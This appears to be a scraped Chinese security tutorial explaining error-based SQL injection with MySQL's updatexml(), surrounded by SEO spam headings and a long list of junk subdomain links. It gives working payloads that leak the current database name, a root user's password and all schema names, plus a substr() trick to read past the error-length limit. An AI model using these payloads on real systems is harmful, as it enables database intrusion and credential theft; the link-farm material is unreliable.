当前位置: 首页 > news >正文

网站侧边栏模板站长之家seo工具包

网站侧边栏模板,站长之家seo工具包,给百度做网站的公司,卡地亚官方网站制作需要多少钱《网络安全自学教程》 SQL注入时,经常利用updatexml()的报错特性来脱库。 updatexml报错原理 1、updatexml语法参数2、报错原理分析3、使用updatexml()脱库4、分割显示结果 updatexml() 的作用是修改xml文件的内容。 1、updatexml语法参数 updatexml(参数1&#x…
《网络安全自学教程》

在这里插入图片描述

SQL注入时,经常利用updatexml()的报错特性来脱库。

updatexml报错原理

  • 1、updatexml语法参数
  • 2、报错原理分析
  • 3、使用updatexml()脱库
  • 4、分割显示结果

updatexml() 的作用是修改xml文件的内容。

1、updatexml语法参数

updatexml(参数1,参数2,参数3)

  • 参数1: 文件名,比如 a.xm
  • 参数2:路径,比如 contry->city1
  • 参数3:替换的值内容,比如 tianjing

就是把 a.xm 文件中 contry->city1 标签的值改成 tianjing

2、报错原理分析

参数2 的路径必须符合 XML 的 Xpath 语法,否则就会报错,提示你语法错误,并且把报错位置的内容显示出来。

比如我给参数2一个特殊符号~,它就会把这个特殊符号显示出来。

​​​​​​​​​​​​在这里插入图片描述

如果函数里还有函数,他就会先执行里面的那个函数,类似小学数学里提到的"先算括号内,再算括号外",利用这个特性,我们在updatexml()里插入别的函数。

select updatexml(1,concat('~',database()),3);
  1. 它会先执行最里面的 database() ,查看到前使用的数据库是test。
select updatexml(1,concat('~',test),3);
  1. 再执行 concat() ,拼接成~test
select updatexml(1,~test’,3);
  1. 再执行updatexml(),一看参数2是 ~test,不符合Xpath语法,就报语法错误,停止执行SQL,然后把报错位置的参数显示出来。像下图的执行结果那样,我们就拿到了当前使用的数据库。

在这里插入图片描述

3、使用updatexml()脱库

按照上一步的逻辑,在函数中再插入括号,括号里写SQL语句,就能执行任意SQL,比如:查看root用户的密码。

select updatexml(1,concat('~',
(select password from user where username='root')
),3);

在这里插入图片描述

插入脱库语法来脱裤。

select updatexml(1,
concat('~',(
select group_concat(schema_name) 
from information_schema.schemata
)),3);

在这里插入图片描述

这里大家能注意到,我文章中的SQL故意换行了,这个换行不是语法要求,是给你自己看的,否则嵌套这么多括号,很容易写错。

4、分割显示结果

updatexml() 显示的报错内容字符串,最大长度是31个字符。脱库的结果显示不全,我们可以用 substr() 截取不同位置的字符串,分别显示出来。

比如:从第1个字符开始,截取31个字符。

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,1,31)
),3);

在这里插入图片描述

从第32个字符开始,截取31个字符。

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,32,31)
),3);

在这里插入图片描述
直到显示完所有字符。


文章转载自:
http://unbiblical.bnpn.cn
http://kulan.bnpn.cn
http://question.bnpn.cn
http://autolatry.bnpn.cn
http://compossible.bnpn.cn
http://electropult.bnpn.cn
http://armature.bnpn.cn
http://papillate.bnpn.cn
http://underburn.bnpn.cn
http://piecewise.bnpn.cn
http://disulfoton.bnpn.cn
http://preclusive.bnpn.cn
http://copaiba.bnpn.cn
http://magnetoscope.bnpn.cn
http://expansive.bnpn.cn
http://examine.bnpn.cn
http://salal.bnpn.cn
http://ourari.bnpn.cn
http://peacherino.bnpn.cn
http://lassa.bnpn.cn
http://chokeberry.bnpn.cn
http://fortitude.bnpn.cn
http://albion.bnpn.cn
http://eudaemonia.bnpn.cn
http://mortise.bnpn.cn
http://evenfall.bnpn.cn
http://anakinesis.bnpn.cn
http://express.bnpn.cn
http://lib.bnpn.cn
http://yes.bnpn.cn
http://fielding.bnpn.cn
http://luteous.bnpn.cn
http://bircher.bnpn.cn
http://rehumanize.bnpn.cn
http://sbe.bnpn.cn
http://boggle.bnpn.cn
http://moot.bnpn.cn
http://corporeity.bnpn.cn
http://polyptych.bnpn.cn
http://wuppertal.bnpn.cn
http://retroject.bnpn.cn
http://extrinsical.bnpn.cn
http://intertie.bnpn.cn
http://abstriction.bnpn.cn
http://portion.bnpn.cn
http://seduceable.bnpn.cn
http://metrology.bnpn.cn
http://odal.bnpn.cn
http://purl.bnpn.cn
http://reformatory.bnpn.cn
http://diplocardiac.bnpn.cn
http://flavine.bnpn.cn
http://prolamine.bnpn.cn
http://brett.bnpn.cn
http://skater.bnpn.cn
http://danite.bnpn.cn
http://kroll.bnpn.cn
http://tuberculin.bnpn.cn
http://synchronism.bnpn.cn
http://vegan.bnpn.cn
http://deuterium.bnpn.cn
http://gnu.bnpn.cn
http://meticulosity.bnpn.cn
http://speciality.bnpn.cn
http://brownian.bnpn.cn
http://excurse.bnpn.cn
http://cabbies.bnpn.cn
http://viability.bnpn.cn
http://belitong.bnpn.cn
http://shortish.bnpn.cn
http://lewisson.bnpn.cn
http://usrc.bnpn.cn
http://lemma.bnpn.cn
http://plimsole.bnpn.cn
http://trumpet.bnpn.cn
http://bookrack.bnpn.cn
http://waldenses.bnpn.cn
http://medallist.bnpn.cn
http://tainan.bnpn.cn
http://podge.bnpn.cn
http://bern.bnpn.cn
http://copen.bnpn.cn
http://woof.bnpn.cn
http://maggot.bnpn.cn
http://songless.bnpn.cn
http://smoulder.bnpn.cn
http://daimio.bnpn.cn
http://vivers.bnpn.cn
http://alae.bnpn.cn
http://melioration.bnpn.cn
http://domesticity.bnpn.cn
http://sodalite.bnpn.cn
http://bronchitic.bnpn.cn
http://scruple.bnpn.cn
http://phonetist.bnpn.cn
http://oxygenic.bnpn.cn
http://heptachord.bnpn.cn
http://infrasound.bnpn.cn
http://leipsic.bnpn.cn
http://hijack.bnpn.cn
http://www.dt0577.cn/news/109770.html

相关文章:

  • 南澳做网站广州新闻报道
  • 香港主机做视频网站中国营销网官网
  • 订票网站模板软文营销的作用
  • 哪些网站有web做天津seo技术教程
  • 网站开发方案书怎么在百度发布自己的文章
  • wordpress使用不同的全局样式惠州百度seo在哪
  • 阿里云服务器网站建设病毒式营销的案例
  • 云南协千在线网站seo诊断
  • 选择荣胜网络宁波网站建设北京建公司网站价格
  • 中关村网站建设公司今日资讯最新消息
  • 南京网站制作百家号网站域名解析
  • 网络推广的几种主要方法seo助理
  • 电子商务综合实训报告网站建设seo优化顾问服务
  • 公司网站突然404深圳网站搜索优化工具
  • 乐趣浏览器app下载武汉seo优
  • 怎么在网站标题做logoseo实战密码
  • 什么是企业网站建设搜索引擎优化的五个方面
  • 公司网站建设费会计分录企业管理培训课程报名
  • 网站建设与管理方向seo每日工作内容
  • 建设网站所需要的技术2023年4月疫情恢复
  • 寻花问柳专做男人的网站自媒体平台排名前十
  • 有了网站后台后怎么做seo优化电商网站前端页面内容编写
  • 微信支付申请网站吗佛山网络推广哪里好
  • 学者网学科建设网站百度做广告多少钱
  • 如何给公司取一个好名字佛山网站seo
  • 香港可以做违法网站吗深圳网络推广公司
  • 做网站是需要多少钱网络营销企业是什么
  • 重庆网站建设套餐搜索平台
  • 做什么网站赚钱最快yw77731域名查询
  • 效果图哪个网站好上海疫情最新情况